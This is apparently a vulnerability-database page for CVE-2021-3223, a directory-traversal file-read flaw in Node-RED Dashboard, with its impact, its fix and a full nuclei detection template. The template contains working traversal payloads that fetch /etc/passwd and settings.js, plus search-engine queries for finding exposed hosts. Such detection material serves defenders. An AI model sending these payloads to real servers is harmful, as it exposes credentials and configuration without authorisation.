HexBrain

Browse / CVEs / CVE-2021-3223

CVE-2021-3223· nodered / node-red-dashboard· CWE-22

Node RED Dashboard <2.26.2 - Local File Inclusion

highseverity
7.5CVSS score
18.9%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

NodeRED-Dashboard before 2.26.2 is vulnerable to local file inclusion because it allows ui_base/js/..%2f directory traversal to read files.

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.

Fix

Upgrade Node RED Dashboard to version 2.26.2 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd ; GET {{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js
Positive when: contains "Node-RED web server is listening" OR matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2021-3223 -u <target>

The full check
id: CVE-2021-3223

info:
  name: Node RED Dashboard <2.26.2 - Local File Inclusion
  author: gy741,pikpikcu
  severity: high
  description: NodeRED-Dashboard before 2.26.2 is vulnerable to local file inclusion because it allows ui_base/js/..%2f directory traversal to read files.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Upgrade Node RED Dashboard to version 2.26.2 or later to mitigate the vulnerability.
  reference:
    - https://github.com/node-red/node-red-dashboard/issues/669
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223
    - https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3223
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3223
    cwe-id: CWE-22
    epss-score: 0.1885
    epss-percentile: 0.97312
    cpe: cpe:2.3:a:nodered:node-red-dashboard:*:*:*:*:*:node.js:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nodered
    product: node-red-dashboard
    framework: node.js
    shodan-query:
      - title:"Node-RED"
      - http.title:"node-red"
    fofa-query:
      - title="Node-RED"
      - title="node-red"
    google-query: intitle:"node-red"
  tags: cve,cve2021,node-red-dashboard,lfi,nodered,node.js,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'
      - '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js'

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "Node-RED web server is listening"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from